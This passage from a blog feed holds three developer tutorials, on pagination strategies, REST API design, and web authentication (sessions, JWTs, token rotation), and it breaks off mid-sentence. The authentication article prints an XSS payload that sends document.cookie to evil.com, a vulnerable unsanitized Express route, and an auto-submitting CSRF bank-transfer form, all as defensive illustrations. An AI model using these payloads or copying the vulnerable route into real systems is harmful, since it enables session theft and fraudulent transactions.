id) &lt; (&#39;2026-04-07T12:00:00Z&#39;, 456)<br>ORDER BY created_at DESC, id DESC<br>LIMIT 10;</pre><p>The database doesn’t have to scan thousands of rows and discard them. It goes straight to the right spot using an index. <strong>It’s fast, no matter how far down you’ve scrolled.</strong></p><h4>A Full Code Example</h4><p>Here’s how you’d actually build this in Python:</p><pre>import base64<br>import json<br><br>def encode_cursor(data: dict) -&gt; str:<br>    &quot;&quot;&quot;Turn pagination info into a cursor string.&quot;&quot;&quot;<br>    json_bytes = json.dumps(data, default=str).encode(&#39;utf-8&#39;)<br>    return base64.urlsafe_b64encode(json_bytes).decode(&#39;ascii&#39;)<br><br>def decode_cursor(cursor: str) -&gt; dict:<br>    &quot;&quot;&quot;Turn a cursor string back into pagination info.&quot;&quot;&quot;<br>    json_bytes = base64.urlsafe_b64decode(cursor.encode(&#39;ascii&#39;))<br>    return json.loads(json_bytes)<br><br>def get_feed(limit: int = 20, cursor: str = None):<br>    # Here&#39;s a neat trick: fetch one EXTRA item.<br>    # If we get that extra item back, we know there&#39;s more data.<br>    # This saves us from running a separate COUNT query.<br>    params = {&quot;limit&quot;: limit + 1}<br>    if cursor:<br>        state = decode_cursor(cursor)<br>        query = &quot;&quot;&quot;<br>            SELECT * FROM posts<br>            WHERE (created_at, id) &lt; (:timestamp, :id)<br>            ORDER BY created_at DESC, id DESC<br>            LIMIT :limit<br>        &quot;&quot;&quot;<br>        params[&quot;timestamp&quot;] = state[&quot;timestamp&quot;]<br>        params[&quot;id&quot;] = state[&quot;id&quot;]<br>    else:<br>        query = &quot;&quot;&quot;<br>            SELECT * FROM posts<br>            ORDER BY created_at DESC, id DESC<br>            LIMIT :limit<br>        &quot;&quot;&quot;<br>    results = db.execute(query, params)<br>    # Did we get that extra item? Then there&#39;s more!<br>    has_more = len(results) &gt; limit<br>    posts = results[:limit]  # Trim off the extra one<br>    next_cursor = None<br>    if has_more and posts:<br>        last_post = posts[-1]<br>        next_cursor = encode_cursor({<br>            &quot;timestamp&quot;: last_post.created_at.isoformat(),<br>            &quot;id&quot;: last_post.id<br>        })<br>    return {<br>        &quot;data&quot;: [serialize_post(p) for p in posts],<br>        &quot;pagination&quot;: {<br>            &quot;next_cursor&quot;: next_cursor,<br>            &quot;has_more&quot;: has_more<br>        }<br>    }</pre><p>That <strong>limit + 1 trick</strong> is worth remembering. Instead of running an expensive COUNT(*) query to figure out if there are more pages, we just ask for one extra row. If it comes back, we know there&#39;s more. If not, we&#39;re at the end.</p><h4>How Much Faster Is It Really?</h4><p>If we run this for 50 million posts. The difference is dramatic:</p><ol><li>For the first 20 items, both Offset and Cursor pagination are equally fast, around 2ms</li><li>Now for Page 100 (2000 items deep) — Offset slows down to 50ms, while the cursor is still 2ms</li><li>If we go further for Page 10,000 (200,000 items) — Offset now takes 3.5 seconds, and the cursor is still 2ms</li><li>At extreme for Page 100,000 (2 million items) — Offset pagination can time out, while cursor pagination still wins at 2ms.</li></ol><p>If you notice offset gets slower and slower. Cursor stays at ~2ms no matter what. That’s because the database always does the same amount of work, jumps to a spot in the index and grabs 20 rows.</p><h4>It Also Fixes the “Shifting Data” Problem</h4><p>Remember how offset pagination gets confused when new posts come in while you’re scrolling? Cursor pagination doesn’t have that issue.</p><p>The cursor points to a <em>specific post</em>, not a position number. So if 100 new posts get published while you’re scrolling, those new posts just pile up at the top of the feed. Your spot doesn’t move. No duplicates, no missed posts. You keep scrolling right where you left off.</p><h4>The Downsides</h4><ul><li><strong>You can’t jump to a specific page.</strong> There’s no “go to page 50.” You have to scroll through everything in order.</li><li><strong>The cursor is a black box to the client.</strong> The frontend can’t look inside it or tweak it. (This is actually good for security, users can’t mess with it to access data they shouldn’t.)</li><li><strong>Going backwards is tricky.</strong> Building a “previous page” button needs extra work; you’d need a separate previous_cursor.</li></ul><h3>So, When Should You Use Cursor Pagination?</h3><h4><strong>Good for:</strong></h4><ul><li>Social media feeds (this is what Twitter, Instagram, and Facebook actually use)</li><li>Infinite scroll UIs</li><li>Large, busy datasets where new data comes in all the time</li><li>Any API where you need consistent, fast performance</li></ul><h4><strong>Not great for:</strong></h4><ul><li>UIs with page numbers</li><li>When users need to jump to random spots in the data</li></ul><h3>Approach 3: Keyset Pagination — Made for Time-Based Data</h3><h4>The Idea</h4><p>Keyset pagination is similar to cursor pagination, but it’s specifically designed for data that’s naturally ordered by time, such as chat messages, log entries, notification feeds, or stock prices.</p><p>Instead of sending a mysterious cursor token, you send a clear, human-readable value (usually a timestamp):</p><pre>GET /api/messages?limit=50&amp;before=2024-03-15T10:30:00Z<br>GET /api/logs?limit=100&amp;after=2024-03-14T00:00:00Z</pre><p>The database query is clean and obvious:</p><pre>SELECT * FROM messages<br>WHERE created_at &lt; &#39;2024-03-15T10:30:00Z&#39;<br>ORDER BY created_at DESC<br>LIMIT 50;</pre><p>So this means, give 50 messages that came before this timestamp.</p><h4>Why It’s Great for Time-Based Data</h4><p>When your data is ordered by time, everything falls into place:</p><p><strong>1. Database indexes work perfectly.</strong></p><p>You just need one simple index, and queries fly:</p><pre>CREATE INDEX idx_messages_created_at ON messages(created_at DESC);</pre><p><strong>2. Database partitioning helps even more.</strong></p><p>Many databases can split large tables into chunks by time period (like one chunk per month). When your query says “before March 15,” the database skips right to the March chunk and ignores everything else. Way faster.</p><h4>Problems with Keyset</h4><p><strong>1. Duplicate Timestamps</strong></p><p>What if two messages have the exact same timestamp? This can easily happen in a busy chat app where multiple people send messages at once.</p><p>If you only filter by timestamp, you might accidentally skip one of those messages.</p><p>The fix? Use the timestamp AND a unique ID as your keys:</p><pre>SELECT * FROM messages<br>WHERE (created_at, id) &lt; (&#39;2024-03-15T10:30:00Z&#39;, 12345)<br>ORDER BY created_at DESC, id DESC<br>LIMIT 50;</pre><p>And make sure your index matches:</p><pre>CREATE INDEX idx_messages_ts_id ON messages(created_at DESC, id DESC);</pre><p>Now, even if two messages have the same timestamp, the ID breaks the tie, and nothing gets skipped.</p><h3>When Should You Use Keyset Pagination?</h3><h4><strong>Good for:</strong></h4><ul><li>Chat apps (Slack, WhatsApp, Discord)</li><li>Activity logs and audit trails</li><li>Notification feeds</li><li>Dashboards showing time-series data</li><li>Anything with a clear time ordering</li></ul><h4><strong>Not great for:</strong></h4><ul><li>Data without a natural time order</li><li>When users need to jump to random pages</li></ul><h3>Things You Should Think About in the Real World</h3><p>Picking a pagination strategy is step one. Here are the other things that matter when you’re actually building this stuff (or talking about it in an interview).</p><h4>1. Stop People From Scraping Your Data</h4><p>Pagination endpoints are a goldmine for scrapers. Someone could write a bot that keeps hitting “next page” until it’s downloaded your entire database.</p><p>A few simple things to prevent this:</p><ul><li><strong>Rate limit</strong> your API — maybe 60 requests per minute per user</li><li><strong>Cap the page size</strong> — don’t let someone request 10,000 items at once</li><li><strong>Expire old cursors</strong> — a cursor from yesterday shouldn’t work anymore</li></ul><pre>MAX_PAGE_SIZE = 100<br><br>def get_feed(limit: int = 20, cursor: str = None):<br>    limit = min(limit, MAX_PAGE_SIZE)  # Never more than 100<br>    # ... rest of the code</pre><h4>2. Cache Smartly</h4><p>Caching can speed things up a lot, but each approach caches differently:</p><ul><li><strong>Offset-based</strong> is easy to cache — offset=0&amp;limit=20 is a clear, repeatable cache key. Until someone adds new data, at least.</li><li><strong>Cursor-based</strong> is harder because each user has a different cursor. But the <em>first page</em> (no cursor) is the same for everyone and gets requested the most , so cache that one hard.</li></ul><pre>Cache-Control: public, max-age=30   # First page — cache for 30 seconds<br>Cache-Control: private, max-age=60  # Later pages — cache per user</pre><h4>3. Your Indexes Make or Break You</h4><p>This is the #1 thing that makes pagination slow in real apps: <strong>your database index doesn’t match your query.</strong></p><p>Here’s a cheat sheet:</p><ol><li>Offset (ORDER BY created_at)</li></ol><pre>CREATE INDEX ON posts(created_at DESC)</pre><ol><li>Cursor (WHERE (created_at, id) &lt; ...)</li></ol><pre>CREATE INDEX ON posts(created_at DESC, id DESC)</pre><ol><li>Keyset (WHERE created_at &lt; ...)</li></ol><pre>CREATE INDEX ON posts(created_at DESC)</pre><p>Always check your queries with EXPLAIN ANALYZE to make sure the database is actually using the index:</p><pre>EXPLAIN ANALYZE<br>SELECT * FROM posts<br>WHERE (created_at, id) &lt; (&#39;2024-03-15T12:00:00Z&#39;, 456)<br>ORDER BY created_at DESC, id DESC<br>LIMIT 20;</pre><p>You want to see “Index Scan” in the output. If you see “Seq Scan” (sequential scan) on a table with millions of rows, something’s wrong.</p><h4>4. Design Your API Response Well</h4><p>Give the client everything it needs in one response:</p><pre>{<br>  &quot;data&quot;: [<br>    {<br>      &quot;id&quot;: &quot;post_abc123&quot;,<br>      &quot;content&quot;: &quot;Just shipped cursor pagination!&quot;,<br>      &quot;author&quot;: &quot;jane_doe&quot;,<br>      &quot;created_at&quot;: &quot;2024-03-15T12:00:00Z&quot;<br>    }<br>  ],<br>  &quot;pagination&quot;: {<br>    &quot;next_cursor&quot;: &quot;eyJ0cyI6IjIwMjQtMDMtMTVUMTE6NTk6MDBaIiwiaWQiOiJwb3N0X3h5ejc4OSJ9&quot;,<br>    &quot;previous_cursor&quot;: &quot;eyJ0cyI6IjIwMjQtMDMtMTVUMTI6MDE6MDBaIiwiaWQiOiJwb3N0X2RlZjQ1NiJ9&quot;,<br>    &quot;has_more&quot;: true<br>  },<br>  &quot;meta&quot;: {<br>    &quot;request_id&quot;: &quot;req_8f3a2b&quot;,<br>    &quot;response_time_ms&quot;: 12<br>  }<br>}</pre><p>The important bits:</p><ul><li><strong>next_cursor</strong> and <strong>previous_cursor</strong> — so the client knows how to get the next and previous pages</li><li><strong>has_more</strong> — a simple true/false that tells the client whether to show &quot;Load More&quot; or not</li><li><strong>request_id</strong> — super helpful when debugging issues in production</li></ul><p>One tip: don’t include total_count in cursor-paginated responses. Running COUNT(*) on a table with millions of rows is slow, and infinite-scroll UIs don&#39;t even need it.</p><h4>5. Handle the Edge Cases</h4><p>A few things to get right:</p><ul><li><strong>No results?</strong> Return an empty data array with has_more: false. Don&#39;t send a 404 — that means &quot;this URL doesn&#39;t exist,&quot; not &quot;there&#39;s no data.&quot;</li><li><strong>Bad cursor?</strong> Return a 400 Bad Request error with a clear message. Don&#39;t just silently go back to page 1 — the client needs to know the cursor expired or is invalid.</li><li><strong>Deleted items?</strong> Cursors should still work even if the item they point to has been deleted. The &lt; comparison naturally skips over gaps, so this usually works out of the box.</li></ul><h3>How to Talk About This in a System Design Interview</h3><p>Pagination almost always comes up when you’re designing a social network, chat system, or e-commerce platform. Here’s a simple framework for how to handle it:</p><p><strong>1. Name the problem.</strong> <em>“We’re dealing with potentially millions of records here. We can’t return them all at once, so we need pagination.”</em></p><p><strong>2. Pick a strategy and explain why.</strong> <em>“I’d go with cursor-based pagination for this feed. Users will scroll through a lot of posts, and we need it to be fast, no matter how far they’ve scrolled. Offset would slow down the further they go.”</em></p><p><strong>3. Talk about the database side.</strong> <em>“I’ll add a composite index on </em><em>(created_at DESC, id DESC) so our cursor queries can use it and stay fast.&quot;</em></p><p><strong>4. Mention edge cases.</strong> <em>“The cursor will include both the timestamp and the ID, so that it still works even if two posts have the same timestamp. I’ll also cap the page size at 100 so nobody can request a huge page.”</em></p><p><strong>5. Talk about consistency.</strong> <em>“The nice thing about cursors is they give us a stable view. Even if new posts come in while the user is scrolling, they won’t see duplicates or miss anything.”</em></p><p>That’s it. This shows the interviewer that you understand the trade-offs and can make practical decisions, which is exactly what they want to see.</p><h3>Wrapping Up</h3><p>There’s no single “best” pagination strategy. Use <strong>offset</strong> for dashboards, <strong>cursors</strong> for infinite-scroll feeds, and <strong>keyset</strong> for time-ordered data like chat and logs. The key isn’t memorising all three — it’s understanding the trade-offs, so you pick the right one for <em>your</em> problem.</p><p>Next time you’re scrolling Instagram, you’ll know exactly what’s happening under the hood.</p><p><em>If this was helpful, give it a follow for more system design breakdowns. And if you’ve ever had a pagination break in production, I’d love to hear the story — drop it in the comments!</em></p><p><strong>A message from our Founder</strong></p><p>Hey, <a href="https://linkedin.com/in/sunilsandhu">Sunil</a> here. I wanted to take a moment to thank you for reading until the end and for being a part of this community. Did you know that our team run these publications as a volunteer effort to over 3.5m monthly readers? We don’t receive any funding, we do this to support the community.</p><p>If you want to show some love, please take a moment to follow me on <a href="https://linkedin.com/in/sunilsandhu">LinkedIn</a>, <a href="https://tiktok.com/@messyfounder">TikTok</a>, <a href="https://instagram.com/sunilsandhu">Instagram</a>. You can also subscribe to our <a href="https://newsletter.plainenglish.io/">weekly newsletter</a>. And before you go, don’t forget to clap and follow the writer️!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64ce75af7bde" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/pagination-in-system-design-how-apps-like-instagram-load-your-feed-without-crashing-64ce75af7bde">Pagination in System Design: How Apps Like Instagram Load Your Feed Without Crashing</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REST API Design for Interviews: Concepts, Examples & Best Practices]]></title>
            <link>https://blog.stackademic.com/rest-api-design-for-interviews-concepts-examples-best-practices-d3d092382e8c?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3d092382e8c</guid>
            <category><![CDATA[interview]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[system-design-interview]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Mon, 23 Mar 2026 02:01:00 GMT</pubDate>
            <atom:updated>2026-03-23T13:48:01.094Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPs137jHtQ29x9RyAvg-NA.png" /><figcaption>Image Generated By AI</figcaption></figure><p>In my last project, I made a lot of mistakes, which I always thought were absolutely correct because that’s what I learnt from the online tutorials.</p><p>But none of them taught how these technologies are actually implemented in an actual project.</p><p>The one that I’m going to talk about in this article is API designing, which might make you think this is very basic, would not make much difference, but I’ll tell you it is a very important basic that everyone needs to understand.</p><p>Understanding API design is important for developers because it determines how systems interact, how easy they are to use, and how scalable they are.</p><p>Let’s dive in</p><h3>What is API Design?</h3><p>API design is the process of defining how different software systems communicate with each other. Or, in simple terms, it defines the rules that allow two systems to communicate with each other.</p><p>While designing, you decide:</p><ul><li>Endpoints</li><li>Data format the API will accept</li><li>Responses the API will return</li><li>Operations</li></ul><p>For example.</p><p>A frontend app might request user data like the following</p><pre>GET /users/123</pre><p>The server processes the request and respond backs to frontend with data:</p><pre>{<br>  &quot;id&quot;: 123,<br>  &quot;name&quot;: &quot;Rahul&quot;,<br>  &quot;email&quot;: &quot;rahul@email.com&quot;<br>}</pre><p>This communication between the client and the server is what API design defines.</p><h3>What is a REST API?</h3><p>A REST API (Representational State Transfer) is one of the most common ways to design APIs on the web.</p><p>REST APIs follow a set of rules that make them simple, scalable, and easy to understand.</p><p>REST APIs mainly depends on three things:</p><ul><li>Standard HTTP methods like GET , POST , PUT etc.</li><li>Resource-based URLs</li><li>Stateless communication (each request contains all the information needed)</li></ul><p>Resource above means that a piece of data in the system which can be accessed using a URL.</p><p>For example</p><ul><li>users: /users → get all users</li><li>books: /books → get all books</li><li>10 users: /users/10 → get 10 users</li></ul><h3>Core Principles of REST APIs</h3><h4>1. Statelessness</h4><p>In REST, each request must include all the information needed to process it.</p><p>The server does not remember anything about previous requests. It does not store session data between requests.</p><p>For example, a client may send a request like this:</p><pre>GET /users/123<br>Authorization: Bearer token</pre><p>Here, the request already contains all the information the server needs:</p><ul><li>the resource (/users/123)</li><li>the authentication token</li></ul><p>The server reads the request, processes it, and sends the response.</p><p>If the same client sends another request later, the server will not remember the previous one. The new request must again include all required information.</p><p>Because the server does not store session data, any server in the system can handle the request, which makes REST APIs much easier to scale.</p><h4>2. Resource-Based Architecture</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPs137jHtQ29x9RyAvg-NA.png" /><figcaption>Image Generated ByAI</figcaption></figure><p>In REST, everything is treated as a resource.</p><p>A resource is simply any type of data that your application manages.</p><p>For example, some common resources could be:</p><ul><li>User</li><li>Book</li><li>Product</li><li>Order</li></ul><p>Each resource is identified using a URL.</p><p>For example:</p><ul><li>/users → represents all users</li><li>/books → represents all books</li><li>/orders → represents all orders</li></ul><p>Once a resource is identified by a URL, we can perform different actions on it using HTTP methods such as GET, POST, PUT, and DELETE.</p><h4>3. Uniform Interface</h4><p>REST APIs must follow a consistent pattern, which makes them easy to understand.</p><p>For example:</p><ol><li>Get all users: GET /users</li><li>Create user: POST /users</li><li>Get user by ID: GET /users/1</li><li>Update user: PUT /users/1</li><li>Delete user: DELETE /users/1</li></ol><h3>Example of a REST API</h3><p>Let’s imagine we are designing an API for managing books.</p><p><strong>Get all books</strong></p><pre>GET /books</pre><p><strong>Create a book</strong></p><pre>POST /books</pre><p><strong>Get a specific book</strong></p><pre>GET /books/123</pre><p><strong>Update a book</strong></p><pre>PUT /books/123</pre><p><strong>Delete a book</strong></p><pre>DELETE /books/123</pre><h3>Common Mistakes</h3><h4>1. Using Verbs in URLs</h4><p>One common mistake is using action words inside URLs.</p><p><strong>Incorrect</strong></p><pre>GET /getAllBooks<br>POST /createBook<br>DELETE /deleteBook</pre><p>These URLs describe actions, which is not how REST works.</p><p><strong>Correct</strong></p><pre>GET /books<br>POST /books<br>DELETE /books/123</pre><p>In REST:</p><blockquote><strong><em>URLs represent resources (nouns), not actions (verbs).</em></strong></blockquote><p>The HTTP method already describes the action.</p><h4>2. Using Incorrect HTTP methods</h4><p>Another common mistake is using the wrong HTTP method.</p><p><strong>Incorrect</strong></p><pre>POST /books/123/update</pre><p><strong>Correct</strong></p><pre>PUT /books/123</pre><p>Each HTTP method has a specific purpose:</p><ol><li>GET — Retrieve data</li><li>POST — Create new resource</li><li>PUT — Update resource</li><li>PATCH — Partially update resource</li><li>DELETE — Remove resource</li></ol><h4>3. Using Incorrect Status Code</h4><p>Many APIs return 200 OK for every response, which is not ideal.</p><p>HTTP status codes help the client understand what happened.</p><p><strong>Good Practices</strong></p><ol><li>200 OK — Successful request</li><li>201 Created — Resource created</li><li>204 No Content — Successful, but no response body</li><li>400 Bad Request — Invalid request</li><li>401 Unauthorised — Authentication required</li><li>403 Forbidden — Access not allowed</li><li>404 Not Found — Resource does not exist</li><li>500 Internal Server Error — Server error</li></ol><h4>4. Inconsistent Naming</h4><p>APIs should follow consistent naming conventions.</p><p><strong>Incorrect</strong></p><pre>/book/123<br>/authors</pre><p><strong>Correct</strong></p><pre>/books/123<br>/authors</pre><p>Most APIs use plural resource names.</p><p>Consistency makes APIs easier to understand and maintain.</p><h4>5. Returning Too Much Data</h4><p>Some APIs return thousands of records in a single response, which can slow the system down.</p><p>Instead, APIs should use pagination.</p><p><strong>Incorrect</strong></p><pre>GET /users</pre><p>Returns all users.</p><p><strong>Correct</strong></p><pre>GET /users?page=2&amp;limit=50</pre><p>Pagination helps:</p><ul><li>improve performance</li><li>reduce server load</li><li>make responses faster</li></ul><h3>Conclusion</h3><p>API design is a crucial skill for backend developers and system designers that are not taught well in online tutorials. It must be learned and applied while designing APIs. A well-designed API is easy to understand, consistent, scalable and efficient.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3d092382e8c" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/rest-api-design-for-interviews-concepts-examples-best-practices-d3d092382e8c">REST API Design for Interviews: Concepts, Examples &amp; Best Practices</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication Is Not Just Login — JWT, Sessions & Token Rotation Explained Deeply]]></title>
            <link>https://blog.stackademic.com/authentication-is-not-just-login-jwt-sessions-token-rotation-explained-deeply-a3e5f7ff46f4?source=rss-8f70d9d4ea7e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3e5f7ff46f4</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[interview]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Rahul Jain]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 02:01:01 GMT</pubDate>
            <atom:updated>2026-03-04T10:20:16.802Z</atom:updated>
            <content:encoded><![CDATA[<p>My new manager joined and reviewed the security of our system.</p><p>He said, “Your website is running in God’s hands. Anyone can break through and exploit the weak design choices.”</p><p>I told him that I had used all the practices I had learned from tutorials on authentication and security.</p><p>He laughed and said, “Those tutorials are for college students, not for professionals like us.”</p><p>In this blog, I will show you what tutorials never teach you about authentication and authorization.</p><p>How do these systems actually work internally?</p><p>You can simply ask AI to build a login page, but is it really building the right system for you?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IUvFxBoZ3NbnWqCQDlmp1Q.png" /></figure><h3>Simple Jargons To Understand First</h3><ol><li><strong>Authentication:</strong> prove who the user is</li><li><strong>Authorization:</strong> check if an authenticated user can perform an action.. For e.g. Roles (admin, user, buyer, seller etc.), scopes (how much user can access things)</li><li><strong>Session:</strong> the mechanism to remember the authenticated user between requests. A session is basically the result of successful authentication.</li></ol><h3>From Whom We Are Protecting Our System</h3><h4>Client Theft</h4><p><strong>1. Cross-Site Scripting (XSS):</strong> Attacker injects malicious JavaScript into your web app</p><p><strong>Example Scenario</strong></p><p>A Vulnerable Route</p><pre>app.get(&quot;/profile&quot;, (req, res) =&gt; {<br>  // Username is unsanitized<br>  const username = req.query.username;<br>  res.send(`<br>    &lt;h1&gt;Welcome ${username}&lt;/h1&gt;<br>  `);<br>});</pre><p>Attacker sends to the victim a modified URL.</p><pre>/profile?username=&lt;script&gt;<br>fetch(&quot;&lt;https://evil.com/steal?cookie=&gt;&quot; + document.cookie)<br>&lt;/script&gt;</pre><p>If cookies are accessible then session can be hijacked.</p><p><strong>2. Device Compromise:</strong> If user’s device is infected like Malware reads localstorage.</p><p>Setting token like this is risky practice</p><pre>localStorage.setItem(&quot;token&quot;, jwt);</pre><h4>Network Attackers (Eavesdropping)</h4><p>If traffic is unencrypted then attacker can sniff data.</p><p>Example Scenario:</p><p>User logs into the public Wi-fi:</p><pre>POST /login<br>email=rahul@gmail.com<br>password=123456</pre><p>If the network is not encrypted means no HTTPS, an attacker can capture the credentials.</p><h4>Replay Attacks</h4><p>A replay attack happens when an attacker captures a valid authentication token or request and resends it to the server and perform unauthorized actions.</p><p>The server accepts it because the token is still valid and unexpired.</p><p>Example Scenario:</p><p>User sends a HTTP request:</p><pre>POST /api/transfer<br>Authorization: Bearer abc123<br>Body: { &quot;amount&quot;: 5000 }</pre><p>Attacker captures the token through:</p><ol><li>Public Wi-fi sniffing (if HTTP and no HTTPS)</li><li>XSS stealing token from localStorage</li></ol><p>Attacker now has:</p><pre>Bearer abc123</pre><h4>CSFR (Cross-Site Request Forgery)</h4><p>A CSRF attack happens when a malicious website tricks a user’s browser into sending an authenticated request to another website where the user is already logged in.</p><p>The attack succeeds because the browser automatically attaches the session cookies with the request.</p><p>Example Scenario:</p><p><strong>Step 1:</strong></p><p>User logged in</p><pre>&lt;https://bank.com&gt;</pre><p>The browser stores a session cookie:</p><pre>sessionId=abc123</pre><p><strong>Step 2:</strong></p><p>User visits malicious website, code of malicious website would look like this</p><pre>&lt;form action=&quot;&lt;https://bank.com/transfer&gt;&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;amount&quot; value=&quot;10000&quot;&gt;<br>&lt;/form&gt;</pre><pre>&lt;script&gt;<br>  document.forms[0].submit();<br>&lt;/script&gt;</pre><p>Now, when the page loads, the browser sends the request automatically.</p><p>The bank server sees a valid session and processes the transfer.</p><p>Now, you know about different types of attacks, let’s dive deep into authentication, authorization and best practices to prevent such attacks.</p><h3>Server-side Sessions</h3><p>Server-side state (session ID stored in cookie). Simple, revocable, secure if used correctly but needs storage and scaling.</p><h4>How it works?</h4><ol><li>User authenticates (username/password, OTP)</li><li>Server creates a session record in memory/Redis/DB.</li></ol><pre>// Sample session Record<br>session_id: uuid4<br>user_id: 1234<br>created_at: 2025-02-19T10:03:00Z<br>last_seen: 2025-02-19T10:05:00Z<br>expires_at: 2025-02-19T12:03:00Z<br>ip: 1.2.3.4<br>ua_hash: sha256(User-Agent)<br>csrf_token: random<br>device_meta: {...}</pre><p>3. Server issues a cookie</p><pre>Set-Cookie: sid=&lt;session_id&gt;; HttpOnly; Secure; SameSite=Strict; Path=/; Expires=...</pre><p>4. On subsequent requests, the server reads sid , fetches the session record, and constructs the user’s context.</p><p><strong>Looking at the advantages</strong></p><ol><li>It is easy to revoke (delete session record).</li><li>It can store server side data (roles, flags).</li><li>More control: session invalidation, device level tracking.</li></ol><p><strong>Security Concerns</strong></p><ol><li>Use <strong>httpOnly</strong> (to prevent JS from reading cookies) &amp; <strong>Secure cookies</strong> (sent via HTTPS) to mitigate XSS.</li><li>Use SameSite=Lax/Strict prevents cookies from being sent in cross-site requests with CSRF tokens to add an extra verification step to confirm the request really came from your website.</li></ol><h3>JWTs (JSON Web Tokens)</h3><p>A JWT (JSON Web Token) is a compact, signed string that securely carries user information between a client and a server.</p><p>It is commonly used for authentication.</p><h4>Internals</h4><p>A JWT: header.payload.signature where:</p><ul><li>Header (JSON, Base64URL): { &quot;alg&quot;: &quot;RS256&quot;, &quot;typ&quot;: &quot;JWT&quot;, &quot;kid&quot;: &quot;key1&quot; }</li><li>Payload (claims, Base64URL):</li></ul><pre>{ <br>  &quot;iss&quot;:&quot;auth.example&quot;,<br>  &quot;sub&quot;:&quot;123&quot;,<br>  &quot;aud&quot;:&quot;api&quot;,<br>  &quot;exp&quot;:167...,<br>  &quot;iat&quot;:..., <br>  &quot;scope&quot;:&quot;read:posts&quot; <br>}</pre><ul><li>Signature: signing of base64(header) + &quot;.&quot; + base64(payload) using HMAC or RSA/ECDSA.</li></ul><p>Some key points:</p><ul><li>alg: defines algorithm (HS256 symmetric, RS256 asymmetric)</li><li>kid: allows key rotation via a JWKs endpoint.</li><li>exp (expiry) and nbf (not before) must be validated.</li><li>jti (JWT ID) can identify token instances for revocation.</li></ul><h4>What is Key Rotation and JWKS?</h4><ul><li><strong>Key rotation:</strong> means changing the signing key regularly without breaking existing users. if a keys leaks, attackers can forge valid tokens. So instead of using same key forever, we can generate new keys periodically while still allowing old tokens for some time.</li><li>JWKS (JSON Web Key Set): It’s a public endpoint that exposes public keys used to verify JWTs. In this case you sign JWT using asymmetric cryptography (RSA/ES256)</li></ul><pre>Private key → signs<br>Public key → verifies</pre><p>You can safely publish the <strong>public key</strong>.</p><p>JWKS is just a standard way to publish those public keys.</p><p>What JWKS looks like</p><pre>{<br>  &quot;keys&quot;: [<br>    {<br>      &quot;kid&quot;: &quot;abc123&quot;,<br>      &quot;kty&quot;: &quot;RSA&quot;,<br>      &quot;alg&quot;: &quot;RS256&quot;,<br>      &quot;use&quot;: &quot;sig&quot;,<br>      &quot;n&quot;: &quot;base64-modulus&quot;,<br>      &quot;e&quot;: &quot;AQAB&quot;<br>    }<br>  ]<br>}</pre><h4>How does above work in conjunction?</h4><p>kid = Key ID</p><p>It tells the verifier which key was used to sign the token. Below is the example of JWT Header</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;,<br>  &quot;kid&quot;: &quot;abc123&quot;<br>}</pre><p>When verifying:</p><ul><li>Server reads kid</li><li>Fetches matching key from JWKS endpoint.</li><li>Uses that public key to verify signature.</li></ul><h4>Where to store JWTs</h4><ul><li><strong>HttpOnly cookie</strong> (recommended for browsers): reduces XSS theft.</li><li><strong>localStorage</strong> (NOT recommended for sensitive tokens) as we saw earlier</li><li><strong>In-memory</strong> (single-page app): ok for access tokens if careful, but refresh tokens must not be in-memory.</li></ul><h4>Advantages</h4><ul><li>Stateless validation</li><li>Good for microservices</li><li>Performance: no DB hit per request.</li></ul><h4>Drawbacks</h4><ul><li>Revocation is hard</li><li>Bigger tokens</li><li>Storing sensitive data in JWT payload leaks if token is exposed.</li></ul><h3>Access + Refresh Token</h3><p><strong>Access Token:</strong> These tokens are short lived ( 5–15 minutes ) which are used by client to call APIs.</p><p><strong>Refresh Token:</strong> These tokens are longer lived (days/weeks/months) which are used to obtain new access tokens.</p><p>Why do we have two?</p><ul><li>To limit exposure, if access token stolen, short expiry limits the damage.</li><li>To avoid frequent credential prompts while keeping short-lived access.</li></ul><h4>Best practices of Refresh Token</h4><ul><li>Treat refresh tokens like passwords means store in httpOnly Secure Cookie.</li><li>Use refresh token rotation means each time a refresh token is used, issue a new refresh token and revoke the old one.</li><li>Maintain server side state for refresh token.</li><li>Refresh tokens should be used with a strategy of one-time-use by recording token_id and marking used.</li></ul><h4>Rotation flow</h4><ul><li>Client sends refresh token to an endpoint of your server let’s say /token/refresh</li><li>Server validates token ID and user, then checks it’s not revoked.</li><li>Server issues new access token + new refresh token (new token id).</li><li>Server marks old refresh token as rotated/revoked.</li></ul><h3>Cookie Vs Authorization Header</h3><h4>Cookie</h4><ul><li>Pros: automatic with browser requests, can be httpOnly and SameSite .</li><li>Cons: vulnerable to CSRF (mitigated with SameSite + CSRF tokens).</li></ul><h4>Authorization Header</h4><ul><li>Pros: explicit and easier for API clients / mobile apps.</li><li>Cons: requires client code to attach header, more XSS sensitive if token stored in storage like localstorage .</li></ul><p>So best approach is to use a common hybrid in which store refresh token in httpOnly cookie 